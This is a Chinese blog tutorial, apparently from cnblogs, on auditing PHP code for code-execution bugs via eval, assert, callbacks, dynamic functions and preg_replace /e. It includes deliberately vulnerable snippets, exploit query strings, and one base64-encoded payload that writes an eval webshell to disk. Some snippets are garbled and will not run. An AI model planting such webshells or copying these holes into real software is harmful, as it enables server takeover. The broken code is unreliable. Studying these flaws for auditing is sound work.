zoukankan      html  css  js  c++  java
  • 2020/1/28 PHP代码审计之代码执行漏洞

    0x00代码执行原理

    应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
    该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。
    很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。
    通常会使用escapeshellarg对参数进行处理,但在低版本的PHP库函数中该函数存在漏洞(原因:Windows上未对反斜杠进行过滤),需要注意。

    0x01 挖掘思路

    1:用户能够控制函数输入
    2:存在可执行的危险函数

    0x02 常见危险函数

    1:eval和assert函数
    2:preg_replace函数
    3:回调函数
    4:动态函数执行

    0x03 eval和assert函数代码实例

    <?php
    if(isset($_REQUEST['cmd'])){
        $cmd = ($_REQUEST["cmd"]);
        system($cmd);//eval($cmd);
        echo "</pre>$cmd<pre>";
        die;
    }
    ?>
    

    这里的话system可以执行代码,对来自cmd中获的变量没有过滤,导致代码执行。

    exp:
    ?cmd=phpinfo();
    

    0x04 回调函数

    代码:

    <?phpfunction callback(){   
    $x = $_GET['cmd'];   
    eval($x);//没做限制
    }c
    all_user_func(function 'callback',$x);//回调了函数
    >?
    常见回调函数:call_user_func()  call_user_func_array()  
    array_map()等
    

    上面代码分析一下,eval危险函数被封装在了callback全局函数中,我们在最后使用了
    all_user_func(function 'callback',$x);
    回调危险函数最后达到代码执行

    还有一种简单的回调:

    <?php 
    //?cmd=phpinfo()
    @call_user_func(assert,$_GET['cmd']);
    ?>
    

    我们没有封装,而是直接使用了assert函数来进行回调,是的cmd中传入的代码执行。

     call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
    
    call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
    

    0x05 动态函数执行

    1:定义一个函数
    2:将函数名(字符串)赋值给一个变量
    2:使用变量名代替函数名动态调用函数

    代码:

    <?php
    $_GET['a']($_GET['b']);//接受get请求a的参数作为一个函数,b是作为a函数里的参数
    ?>
    
    exp:
    
    ?a=assert&b=phpinfo()
    

    代码2:

    <?php
    $foobar = $_GET['foobar'];
    $dyn_func = create_function('$foobar', "echo $foobar;");
    $dyn_func('');
    ?>
    
    当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令
    
    

    0x06 正则表达式

    代码:

    <?php
    //普通字符作为原子
    $pattern = '/abc/';
    $str = 'abcdefghijklmn';
    preg_match_all($pattern,$str,$res);//以数组形式存储
    var_dump($res);//会以数组形式显示出来
    ?>
    

    代码2:

    //特殊符号的字符作为原子
    $pattern = '/[php]/';
    $str = '[php]12345';
    preg_match_all($pattern,$str,$res);
    var_dump($res);
    

    结果:

    这里特别说明一下,我们要对php转义一下,加上如果不加:

    
    
    
    $pattern = '/[php]/';
    $str = '[php]12345';
    preg_match_all($pattern,$str,$res);
    var_dump($res);
    

    这样就不算是这种模式匹配了

    代码3:

    //通用字符作为原子
    $pattern1 = '/d/'; //0-9
    $pattern2 = '/D/'; //a-zA-Z
    $str = '123132asaaaaa222';
    $preg_match_all($pattern2,$str,$res);
    var_dump($res);
    

    代码4:

    //自定义原子
    $pattern1 = '/[aj]sp/'; //匹配[aj]中任意一个字符作为原子的asp jsp
    $str = 'jjjjspspspsp';
    preg_match_all($pattern1,$str,$res);
    var_dump($res);
    

    代码5

    //限定符
    $pattern1 = '/go*gle/'; // *匹配掐面出现原子次数0次 1次或多次
    $pattern2 = '/go+gle/'; // +匹配前面出现的原子1次或多次
    $pattern3 = '/go?gle/'; // ?匹配前面出现的原子0次或1次
    
    $str = 'google';
    preg_match_all($pattern3,$str,$res);
    var_dump($res);
    

    这里限定符还有贪婪模式非贪婪模式,这里我大一就已经学过了,就不再提了。

    代码6

    //边界限定
    $pattern1 = '/^abc/'; // ^匹配输入字符开始的位置,必须是abc形式的开头
    $pattern2 = '/abc^/'; // ^匹配输入字符结尾的位置,必须是abc形式的结尾
    $pattern3 = '/^abc$/'; // ^$只匹配某字符
    $str = 'abc2342dfads';
    preg_match_all($pattern3,$str,$res);
    var_dump($res);
    

    代码7

    
    //反向引用
    $pattern = '/d{4}(-)d{2}\1d{2}/'; // \1代表第一个()缓冲区
    $str = '2020-01-28';
    preg_match_all($pattern,$str,$res)
    ;var_dump($res);
    
    
    

    0x07 preg_replace

    mixed preg_replace(mixde $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])

    $pattern 正则匹配的内容 $pattern存在/e模式修正符修饰,允许代码执行

    $replacement 用于替换的字符串或字符串数组

    $subject 要进行搜索和替换的字符串或字符串数组

    代码:

    <?php 
    //?cmd=phpinfo()
    @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
    ?>
    

    这里我们需要注意2点:
    /e模式
    必须匹配到正则才能代码执行

    代码2:

    <?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
    
    **exp:
    
    ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))**
    

    最终执行命令"))?>

    0x08 代码执行修复

    尽量不要执行外部的应用程序或命令

    使用自定义函数或函数库来替代外部应用程序或命令的功能

    使用escappeshellarg函数来处理命令的参数
    使用sare_mode_exec_dir来指定可执行的文件路径

    将执行的参数做白名单限制,在代码或配置文件中限制某些参数

  • 相关阅读:
    springMVC-MyBatis-Mysql 环境下, 返回时间格式不是指定格式
    大话设计模式--第一章 简单工厂设计模式
    java编程思想第四版第十八章总结
    尚学堂-马士兵-专题-正则表达式
    张孝祥java高新技术 --- jkd1.5 新特性 -- 精华总结
    Python—文件进阶操作
    Python—文件读写操作
    Python—异常处理
    Python—网络抓包与解包(pcap、dpkt)
    Python—其它模块
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12237728.html
Copyright © 2011-2022 走看看